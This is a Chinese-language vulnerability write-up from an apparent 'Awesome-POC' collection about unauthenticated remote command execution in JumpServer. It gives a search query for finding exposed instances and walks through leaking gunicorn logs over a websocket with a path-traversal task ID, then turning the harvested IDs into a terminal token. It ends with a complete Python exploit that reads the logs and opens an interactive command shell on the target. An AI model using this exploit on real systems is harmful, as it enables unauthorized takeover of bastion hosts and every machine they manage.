Awesome-POC/Web应用漏洞/JumpServer 未授权接口 远程命令执行漏洞.md
2024-11-06 14:10:36 +08:00

419 lines
11 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# JumpServer 未授权接口 远程命令执行漏洞
## 漏洞描述
JumpServer 是全球首款完全开源的堡垒机, 使用GNU GPL v2.0 开源协议, 是符合4A 的专业运维审计系统。 JumpServer 使用Python / Django 进行开发。2021年1月15日阿里云应急响应中心监控到开源堡垒机JumpServer发布更新修复了一处远程命令执行漏洞。由于 JumpServer 某些接口未做授权限制攻击者可构造恶意请求获取到日志文件获取敏感信息或者执行相关API操作控制其中所有机器。
## 漏洞影响
```
JumpServer < v2.6.2
JumpServer < v2.5.4
JumpServer < v2.4.5
JumpServer = v1.5.9
```
## 网络测绘
```
app="FIT2CLOUD-JumpServer-堡垒机"
```
## 环境搭建
安装 JumpServer v2.6.1 版本
[下载链接](https://www.o2oxy.cn/wp-content/uploads/2021/01/quick_start.zip)
- 安装注意 配置网络配置Mysql配置Redis 选择 n
等待完成安装执行以下命令
```shell
cd /opt/jumpserver-installer-v2.6.1
./jmsctl.sh start
```
等待安装完毕访问 http://xxx.xxx.xxx.xxxx:8080
默认账号密码 amdin:admin
## 漏洞复现
进入后台添加配置
**资产管理 --> 系统用户**
![](images/202202101943889.png)
**资产管理 --> 管理用户**
![](images/202202101943769.png)
**用户管理 --> 用户列表**
![](images/202202101943018.png)
**资产管理 --> 资产列表**
![](images/202202101943864.png)
查看一下项目代码提交变动
![](images/202202101943085.png)
```python
import time
import os
import threading
import json
from common.utils import get_logger
from .celery.utils import get_celery_task_log_path
from channels.generic.websocket import JsonWebsocketConsumer
logger = get_logger(__name__)
class CeleryLogWebsocket(JsonWebsocketConsumer):
disconnected = False
def connect(self):
user = self.scope["user"]
if user.is_authenticated and user.is_org_admin:
self.accept()
else:
self.close()
def receive(self, text_data=None, bytes_data=None, **kwargs):
data = json.loads(text_data)
task_id = data.get("task")
if task_id:
self.handle_task(task_id)
def wait_util_log_path_exist(self, task_id):
log_path = get_celery_task_log_path(task_id)
while not self.disconnected:
if not os.path.exists(log_path):
self.send_json({'message': '.', 'task': task_id})
time.sleep(0.5)
continue
self.send_json({'message': '\r\n'})
try:
logger.debug('Task log path: {}'.format(log_path))
task_log_f = open(log_path, 'rb')
return task_log_f
except OSError:
return None
def read_log_file(self, task_id):
task_log_f = self.wait_util_log_path_exist(task_id)
if not task_log_f:
logger.debug('Task log file is None: {}'.format(task_id))
return
task_end_mark = []
while not self.disconnected:
data = task_log_f.read(4096)
if data:
data = data.replace(b'\n', b'\r\n')
self.send_json(
{'message': data.decode(errors='ignore'), 'task': task_id}
)
if data.find(b'succeeded in') != -1:
task_end_mark.append(1)
if data.find(bytes(task_id, 'utf8')) != -1:
task_end_mark.append(1)
elif len(task_end_mark) == 2:
logger.debug('Task log end: {}'.format(task_id))
break
time.sleep(0.2)
task_log_f.close()
def handle_task(self, task_id):
logger.info("Task id: {}".format(task_id))
thread = threading.Thread(target=self.read_log_file, args=(task_id,))
thread.start()
def disconnect(self, close_code):
self.disconnected = True
self.close()
```
新版对用户进行了一个判断,可以使用 谷歌插件 WebSocket King 连接上这个websocket 进行日志读取
![](images/202202101943143.png)
比如send这里获取的 Task id ,这里是可以获得一些敏感的信息的
![](images/202202101944092.png)
查看一下连接Web终端的后端api代码
![](images/202202101944673.png)
可以看到这里调用时必须需要 **user asset system_user** 这三个值再获取一个20秒的 **token**
访问web终端后查看日志的调用
![](images/202202101944023.png)
```plain
docker exec -it (jumpserve/core的docker) /bin/bash
cat gunicorn.log | grep /api/v1/perms/asset-permissions/user/validate/?
```
![](images/202202101944593.png)
```plain
assset_id=ee7e7446-6df7-4f60-b551-40a241958451
system_user_id=d89bd097-b7e7-4616-9422-766c6e4fcdb8
user_id=efede3f4-8659-4daa-8e95-9a841dbe82a8
```
可以看到在不同的时间访问这个接口的asset_id等都是一样的所以只用在 **刚刚的未授权日志读取**里找到想要的这几个值就可以获得 token
![](images/202202101945874.png)
发送请求获取20s的token
![](images/202202101945185.png)
看一下 koko.js 这个前端文件
![](images/202202101945990.png)
后端代码 https://github.com/jumpserver/koko/blob/e054394ffd13ac7c71a4ac980340749d9548f5e1/pkg/httpd/webserver.go
![](images/202202101945914.png)
这里我们就可以通过 获得的token来模拟请求
![](images/202202101945570.png)
成功连接模拟了这个 token 的请求,可以在Network看一下流量是怎么发送的
![](images/202202101945740.png)
模拟连接发送和接发数据
![](images/202202101945777.png)
这里可以看到我们只要模拟了这个发送返回的数据和web终端是一样的那我们就可以通过这样的方法来进行命令执行了
## 漏洞POC
- ✅POC 里包含两个方法,一个是获取日志文件,另一个是命令执行
- ✅日志提取已经过滤了部分API调用的数据只需要找到那几个值就好了
- ✅命令执行需要从日志中获取敏感数据并写入脚本对应的变量中
- ✅接收数据如果卡住请调整 for i in range(7) 这个位置的 7
```python
import requests
import json
import sys
import time
import asyncio
import websockets
import re
from ws4py.client.threadedclient import WebSocketClient
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mPOC_Des: https://www.o2oxy.cn/ \033[0m')
print('+ \033[34mVersion: JumpServer <= v2.6.1 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+ \033[36mCmd >>> whoami \033[0m')
print('+------------------------------------------')
class ws_long(WebSocketClient):
def opened(self):
req = '{"task":"peiqi/../../../../../logs/gunicorn"}'
self.send(req)
def closed(self, code, reason=None):
print("Closed down:", code, reason)
def received_message(self, resp):
resp = json.loads(str(resp))
# print(resp)
data = resp['message']
print(data)
if "/api/v1/perms/asset-permissions/user/validate/?" in data:
print(data)
async def send_msg(websocket, _text):
if _text == "exit":
print(f'you have enter "exit", goodbye')
await websocket.close(reason="user exit")
return False
await websocket.send(_text)
recv_text = await websocket.recv()
print(re.findall(r'"data":"(.*?)"', recv_text))
async def main_logic(target_url):
print("\033[32m[o] 正在连接目标: {}\033[0m".format(target_url))
async with websockets.connect(target_url) as websocket:
recv_text = await websocket.recv()
resws = json.loads(recv_text)
id = resws['id']
print("\033[36m[o] 成功获取 ID: {}\033[0m".format(id))
inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
await send_msg(websocket, inittext)
for i in range(7):
recv_text = await websocket.recv()
print(re.findall(r'"data":"(.*?)"', recv_text))
while True:
cmd = str(input("\033[35mcmd >>> \033[0m"))
cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd + "\r\n"})
await send_msg(websocket, cmdtext)
for i in range(1):
recv_text = await websocket.recv()
print(re.findall(r'"data":"(.*?)"', recv_text))
def POC_1(target_url):
vuln_url = target_url + "/api/v1/users/connection-token/?user-only=1"
response = requests.get(url=vuln_url, timeout=5)
print(response.status_code)
ws_open = str(input("\033[32m[o] 是否想要提取日志Y/N >>> \033[0m"))
try:
if ws_open == "Y" or ws_open == "y":
ws = target_url.strip("http://")
try:
ws = ws_long('ws://{}/ws/ops/tasks/log/'.format(ws))
ws.connect()
ws.run_forever()
ws.close()
except KeyboardInterrupt:
ws.close()
else:
print("\033[31m[x] 目标漏洞已修复,无法获取敏感日志信息\033[0m")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 目标漏洞已修复,无法获取敏感日志信息,{}\033[0m".format(e))
sys.exit(0)
def POC_2(target_url, user, asset, system_user):
if target_url == "" or asset == "" or system_user == "":
print("\033[31m[x] 请获取 assset 等参数配置\033[0m")
sys.exit(0)
data = {"user": user, "asset": asset, "system_user": system_user}
vuln_url = target_url + "/api/v1/users/connection-token/?user-only=1"
# vuln_url = target_url + "/api/v1/authentication/connection-token/?user-only=1"
try:
response = requests.post(vuln_url, json=data, timeout=5).json()
print("\033[32m[o] 正在请求:{}\033[0m".format(vuln_url))
token = response['token']
print("\033[36m[o] 成功获取Token{}\033[0m".format(token))
ws_url = target_url.strip("http://")
ws_url = "ws://" + ws_url + "/koko/ws/token/?target_id={}".format(token)
asyncio.get_event_loop().run_until_complete(main_logic(ws_url))
except Exception as e:
print("\033[31m[x] 请检查 assset 等参数配置,{}\033[0m".format(e))
sys.exit(0)
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
user = "ed3460eb-3c70-4beb-b631-f8f91c39bdd1"
asset = "37fce0b0-cc4f-4822-8c33-afdebc888fa7"
system_user = "da09ddd7-fd3f-46c3-914d-752883a4d950"
POC_1(target_url)
POC_2(target_url, user, asset, system_user)
```
![](images/202202101945982.png)
![](images/202202101946161.png)